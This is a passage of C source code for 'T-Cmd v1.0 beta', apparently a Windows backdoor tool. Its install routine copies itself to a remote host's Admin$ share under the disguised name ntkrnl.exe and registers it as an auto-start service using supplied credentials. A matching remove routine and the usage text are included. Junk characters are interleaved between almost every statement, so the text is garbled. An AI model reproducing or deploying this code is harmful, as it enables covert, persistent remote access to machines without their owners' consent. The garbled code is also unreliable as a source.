if(lpHost==NULL) 4 c# {: k8 `6 q { + s2 t, T# d' v4 l4 N- C1 G7 ~' ]( J GetSystemDirectory(lpImagePath,MAX_PATH);3 e& i. x7 F7 W, b! ~* s4 D strcat(lpImagePath,"\\ntkrnl.exe"); # C2 D" v s5 Q& K" v7 P lpHostName=NULL; ! V# I8 X) M9 |8 b1 C } : f& s4 l9 M# m+ J$ [' J+ R0 I* A. L else 7 h: v7 n0 h3 b8 A {7 O$ o: I. V( M8 N/ e$ c( { sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);6 u3 z4 D! U" [3 v4 M4 O8 \. _ lpHostName=(char *)malloc(256);1 ~/ b* g+ i+ |# E0 z4 I# n sprintf(lpHostName,"\\\\%s",lpHost); . T) [3 D2 O6 s4 ]: o/ N! J+ N0 Q }

printf("Transmitting File ... ");. \7 M K& l y, L hSearch=FindFirstFile(lpImagePath,&FileData); 7 j3 B' m0 W9 _; w7 c0 b if(hSearch==INVALID_HANDLE_VALUE) # u8 i t6 c" v" u { 2 I: M3 k; i3 D% n% Y( J. ~# X GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); & l: C$ }3 N* Q0 n, p* k if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) . O2 Y4 [3 W) \. ?* t {" _# j% I' u# X7 i8 W6 L/ z dwErrorCode=GetLastError(); ' h) D( M& B/ z3 K if(dwErrorCode==5)2 @0 \7 E! D2 u% k/ ` {) M: _( z" E6 ]& \; I, t. _" V( C4 ~ printf("Failure ... Access is Denied !\n"); 6 o8 k1 h; `/ T$ z5 s* j' p; }- M2 G z }. }% Z$ q! e O$ Z6 F" P+ F' L else ' S y6 Y' I2 r& C3 `' G6 E+ I5 e { + L4 z" K3 w. H! X* F" Y printf("Failure !\n"); $ R& [' | O' w' n, ~9 k }9 T+ Z: z# g" z4 C: X) A4 L return ;) T, D3 r0 W$ c8 h' B0 B }- T; Y, ]8 l. F8 c1 k else ! o* J+ I7 s8 l; }6 U {9 k" e+ J" w1 I/ F0 H printf("Success !\n"); 7 D/ f3 O1 z8 C } 6 F! O m# U+ f8 r+ Q& }5 V }/ H/ M# | \5 @ else+ F2 w: S# u; P; n8 ?; [! G# @ {7 T$ z; I7 u$ Y" R printf("already Exists !\n"); : @9 v5 r: g4 `$ G* V6 r. g$ a& i$ Q FindClose(hSearch); / y3 R3 C z: N/ j5 T }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);- x( E/ \8 b" ~. x3 i! d' C& V9 q if(schSCManager==NULL) 4 f: B' r5 X2 O+ h# L6 S4 m3 ?/ q$ V4 F { ) K- N$ s$ ` W5 o+ T" g' m& ] printf("Open Service Control Manager Database Failure !\n");$ {' C4 P" c; U# Z1 R0 Z7 R return ;6 B! l! i" r( U9 g% i; s0 i }

printf("Creating Service .... "); ' k$ p# j6 B i/ K# f! `1 v schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS, $ _2 p: R6 }" }3 r( |0 J SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,& S2 u9 F n& w6 D SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); - r8 O1 a* d; ] if(schService==NULL)3 N7 M8 O2 X+ o4 u { 0 ~( `' H S/ I$ F2 k dwErrorCode=GetLastError(); 1 g* y; P* K3 K if(dwErrorCode!=ERROR_SERVICE_EXISTS)& x4 B1 k8 @: i1 i1 H' \( c {# n( x- _! B: p) O printf("Failure !\n"); 9 \* b I( u$ V# I CloseServiceHandle(schSCManager); / C& e* W& J% d0 k* z- P h return ;, F/ J+ O1 I# a, O9 R6 w }% Q* X% c3 Z; y else , k1 O3 |9 s- d6 f1 G {" l+ \. i$ O+ H2 F8 \% | printf("already Exists !\n"); " p% B- b$ C* j; W* M/ ^ schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);8 S/ m( E. y) r: o. I' {; e/ v if(schService==NULL) 8 P; k0 p( u, A# t) C. j5 ^ {" z2 {) ?: @, [9 X" [ printf("Opening Service .... Failure !\n");. F! b q1 x7 L2 F+ z2 E7 A6 U* } CloseServiceHandle(schSCManager);" m- X3 c. R; h7 }1 @6 T5 U return ; ; ?% Q' N1 A; D p7 \6 l }, }/ U+ n' y; \8 D/ W7 o" H }4 I! b. y( w) V5 }. s } 8 m& X2 c" d# o( K [5 b; o8 { else 1 t$ q% ~# b) c7 B% u { 0 x$ _4 f) I8 ~, Y3 G printf("Success !\n"); 9 q- {7 L1 G2 Q! t/ ? }

printf("Starting Service .... "); 9 E: Q# o. G/ K8 n2 t& C" i! l if(StartService(schService,0,NULL)==0) X+ B4 `7 r, }3 c" Q { & j& Q+ r: m& V8 K( [ dwErrorCode=GetLastError();$ j" ]6 Z1 T S( X+ n) R# R if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING) & K; r2 M3 Y0 r( j0 G { 8 x u3 P0 h' U" O, m* ^, B6 j printf("already Running !\n"); $ W! L. S5 A; a3 N( [& f CloseServiceHandle(schSCManager); ! w+ p2 n+ v- G; M5 \$ S CloseServiceHandle(schService); + _+ `/ _& @4 u# v( m; _( y* U7 E return ;3 X! ]+ s% x3 J0 r# Z0 _* W } 9 \2 z5 \& {+ V4 f% m# l }1 O6 Z* q: c. ^, K7 G! P else 5 {/ q7 V% x" o G { ' ?+ D+ y) X4 ]2 z printf("Pending ... "); 8 [, D) O+ n: v8 I9 |! k' C }

while(QueryServiceStatus(schService,&InstallServiceStatus)!=0) * M$ u) ?" \" }( |/ B( T5 D { 0 @! C0 E% M3 Y$ Q if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING) & |' g1 k8 m! Q% k* H4 o. I9 ]3 m {, s+ F: Q2 G O6 M4 V3 `" m# G% e Sleep(100); + b8 ~( f @" ]- o } : S( X1 j+ I S9 F else6 ]/ X& J- T2 T# |: @* B: c4 V+ i { ; q, H0 j6 R, w" } break;. H8 T, ?2 n3 ^- k5 k: @; Q- G- _ } / G5 v, z9 N' t+ I5 }9 D! c } & T, j8 A& b# x; N3 ~, ? if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING) + r" x" ?: n) j% k: W, u. J) ` { 7 W* r5 a! R( j9 K6 b. P3 W' g6 F printf("Failure !\n"); ) u0 B* Y9 {; G) }0 @7 e5 W* J v }' t2 e9 s& E6 ~) j9 h else / e4 |5 U3 q& K& k- Z {% s' v. `! l+ {9 ?" N: \ printf("Success !\n");5 Q% \. m6 P" ?( ^0 M+ y- s- w) m6 m }

CloseServiceHandle(schSCManager); . E7 m% j1 y) h CloseServiceHandle(schService); return ;4 G9 a% a1 ]4 L) U' k) ? }

void RemoveCmdService(char *lpHost) ( ]$ \4 [4 V- X/ n a* W5 h{ D8 v1 p1 v2 V: ]7 |: L SC_HANDLE schSCManager; 8 t" `7 z0 ~& l0 s SC_HANDLE schService;! n: N1 h" J* ^6 L char lpImagePath[MAX_PATH]; + `: P H- g3 A: o6 C% i+ h* Q char *lpHostName; 9 Y1 x, m0 T, O- G WIN32_FIND_DATA FileData; ! o9 Z1 U6 m% G) l- x SERVICE_STATUS RemoveServiceStatus;7 V; P& [# y8 f( A' Q) D HANDLE hSearch; 5 R/ Y, X$ \! ~' ?1 f8 u DWORD dwErrorCode;

if(lpHost==NULL)% \1 n/ s& p% h { / d2 S2 C5 f. t4 Y- X2 P GetSystemDirectory(lpImagePath,MAX_PATH);' o$ ?' L' X% U2 k" x8 f strcat(lpImagePath,"\\ntkrnl.exe");( a; s, M1 b2 x7 X2 E: {4 B/ m lpHostName=NULL;+ j$ x3 ]6 t8 K$ A( u, k$ s } 5 P5 S$ X* d4 c* ?6 I! r5 g! S2 l else8 N0 v! ~5 |9 m4 b- h {& ^+ h6 K! @- W sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost); 9 m8 B& P; U, `3 x/ i lpHostName=(char *)malloc(MAX_PATH); # y/ m0 [4 y( K8 y' b% } sprintf(lpHostName,"\\\\%s",lpHost); }2 o& E! Z0 F5 L6 R* H }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);2 A; |9 R1 V3 g9 N9 K if(schSCManager==NULL); p7 L! [4 J8 { r {* E, s, _1 Q8 w, D& _' E printf("Opening SCM ......... ");. b& M& e( Q% b% a0 }$ d dwErrorCode=GetLastError(); 2 P& Y% g k9 J0 b" _9 g if(dwErrorCode!=5) ! }' C5 B. \1 C8 B; E9 Z {& K, r- o1 O2 s$ U! ^) q2 o printf("Failure !\n"); 3 G/ d. J: z* b. @5 ]' Q }3 Z/ [ C& V+ F* Y4 H; Q. h7 u; z" W$ Y else - p- I& v5 j" I' `5 u { , A6 O) u* F7 }& B& r printf("Failuer ... Access is Denied !\n"); + i0 a" N4 a. y9 C1 l }' H& x1 g* E5 ~1 N' m/ p+ o; r return ; . t; c2 A+ g' }( g3 c }

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);* j% a1 W3 g$ [8 p6 z if(schService==NULL) $ K+ @6 a, k4 m { ( O0 r& |/ a# B4 r printf("Opening Service ..... ");! Q' G* P: y b; H3 S3 ~8 \ dwErrorCode=GetLastError();4 S0 l# I& N( W$ M if(dwErrorCode==1060)+ g4 Z! r% c/ y5 b {- F. k" A0 x2 k O0 D- g$ ] printf("no Exists !\n");9 N& r* F0 |1 P9 r } - K6 f$ |$ V& K! M2 P% W3 _ else: [: f4 K* x( L0 o0 o( n( g {5 c1 [; y# ^) s0 D1 ?6 n! ^8 i printf("Failure !\n");4 k9 P8 |) \3 q& R; h' J# N }5 ]9 H, C, t9 v! N% ]( Q1 f a9 m CloseServiceHandle(schSCManager); 7 s# G4 b5 W L }8 }( g V. t ] e4 Q else+ _6 \3 B& `- [ {2 F+ q7 [, ] D) I% V printf("Stopping Service .... "); " ]: o# B4 X2 X& o+ @0 P if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)$ F+ _, k; A* U; P" ]8 K { ( e% x. E! x/ \+ n, S if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)# {! z. J8 ?, J2 d { / a! J( g% z+ h7 a printf("already Stopped !\n"); 4 ]2 a# R) \# v6 K7 A3 h }3 w1 p8 B' Y+ d else- H L* U: T( T { 4 L/ o- X) w- }' H! ~ printf("Pending ... "); / u4 p3 L4 t" y# _; j if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) 1 k. _8 b8 H5 @" j8 d { : J: y4 w( i/ Y" r" L while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING) ' J, g+ U/ M- m7 _4 C" O {7 Q' i- r5 y" B* h @ Sleep(10); : e2 }) x0 ~" T4 q( c" }) ?2 d% m QueryServiceStatus(schService,&RemoveServiceStatus);% h5 H' X6 q$ N( } }. T. W9 Y1 M3 h3 z; C8 ?; B if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)# M# `6 W1 g9 ` { , j6 W" ?/ g% Z! ^, s! f1 G printf("Success !\n");! y8 S. i! X4 u3 \ }& }3 {' [. X7 i4 ~3 }" }0 e else " J0 I" T6 t) c% [$ h; q/ c( s" |5 j8 b {4 o, D! k8 K. F7 z+ G* V printf("Failure !\n"); 8 \' C7 o8 [ i& \8 r } {* p! R5 U3 M0 ]+ H/ H }) b; g o/ N+ C/ Q+ ]! R7 I else& E9 F. q- j( E: [* D% a8 h& P* Z! C {' W+ \, p4 }9 u$ I! h printf("Failure !\n"); - A% c+ n$ v6 ~9 e }2 N2 x; f3 ^/ f# h5 p. n4 Y } - W* J, |/ q8 @+ e/ D9 B" @ }5 [( K- v6 f1 m2 L/ _# @ else! N* A0 b; u# {! \1 j; [7 c @ {: L7 s) y: q: b! q printf("Query Failure !\n");6 Z B4 \4 P% [% X7 Y }

printf("Removing Service .... "); 3 ]$ S" i* K" o; B G3 o if(DeleteService(schService)==0) + O# h K# t& q" b! @9 _& S, O2 { {) x# B/ S! e+ c printf("Failure !\n"); 0 U/ Z3 M9 N |5 u* Z' `& `3 L } ! f/ V# [9 w, \3 H, @( L else * E: J/ L9 g( C/ `0 U6 m { & h6 q% c: Y$ @; T0 L' q printf("Success !\n"); 4 {9 c! x1 w! H; N }. q& O' I2 _5 p+ x3 }4 ^" F }

CloseServiceHandle(schSCManager); ! O( E4 T/ p4 A5 h CloseServiceHandle(schService);

printf("Removing File ....... ");# M" p8 [" |5 s, M: Q2 F Sleep(1500); & E: K, U" @/ f0 v% z' S2 k hSearch=FindFirstFile(lpImagePath,&FileData); 9 x* b P; m* ?% u if(hSearch==INVALID_HANDLE_VALUE). T) {: W. {; M- h. q { : A; `9 j9 p) u3 p$ r. k: i printf("no Exists !\n"); 7 A( H( d3 P$ R! p2 J! P$ ^# F+ V }+ Z, P6 n m0 x; z, Q: R else% F; q5 Z# L) X/ a* J; ^" u {! g2 |9 s! M4 r8 ? if(DeleteFile(lpImagePath)==0)/ u2 m E ~0 p$ } W {2 p. o/ [# C( A3 r7 f+ W printf("Failure !\n"); 5 b5 T u0 T8 y, z4 i, ?! x$ v, q } N/ u& \/ P- T( C; | else- J' ], C" O- D+ c/ d/ } { ' Y; m2 h. A/ J% V8 r printf("Success !\n"); 6 W: A7 X$ P7 K; p% Z: |6 J0 ` } 9 x8 x7 M1 L* _+ f FindClose(hSearch); 1 Y! n0 x5 Z+ d+ j2 f }

return ; % c6 M7 [* p! R4 e3 R& u* t}

void Start() 6 z/ M8 {/ g& n9 j- }{' Z6 K& Z- o! A: N t printf("\n"); 7 @* ]: M: t% ? printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");; A2 X0 D9 ]0 \+ C7 v$ e4 u printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");. a. C+ R8 b/ G' H. B6 x printf("\t\t---[ HomePage: www.safechina.net ]---\n"); 0 s2 k4 J3 h0 c* @* {: C; d' H q printf("\t\t---[ Date: 02-05-2003 ]---\n\n"); ) H% C- N' b8 _5 i1 m$ J! k return ; ) z( U. K2 A% l! m* x6 @9 B}

void Usage()2 ?1 C$ [9 B0 ~/ F1 ?& C- B& t { 1 K3 r1 d. r# M6 ~5 P$ ?: e printf("Attention:\n");* n4 O7 e6 N7 z( s- k+ ?' ^ printf(" Be careful with this software, Good luck !\n\n"); 5 v( a0 ^( `+ W$ e4 C2 I printf("Usage Show:\n"); 0 Z2 b' b5 o3 n5 D0 p printf(" T-Cmd -Help\n");) \! l% b! U2 `! D9 G printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n"); 3 M: Y5 [, k2 _' ^. f printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n"); # K8 n! |% P; G" K printf("Example:\n");) s7 x* b" V+ ^2 A& Q( B% h2 Y printf(" T-Cmd -Install (Install in the localhost)\n");7 K0 ^6 G+ m7 B+ y, ~$ k printf(" T-Cmd -Remove (Remove in the localhost)\n");) f( {' B! ~! Q: r6 z printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n"); - ]7 s! @% \: j/ v3 q/ ~0 q printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n"); G+ l! ^5 Y' I; m7 x6 U printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");* ]/ k7 Y, d' Y) |8 {8 o return ; $ n* G2 K) u+ T* G+ ^4 A$ [! p}- }* L. }/ c* g m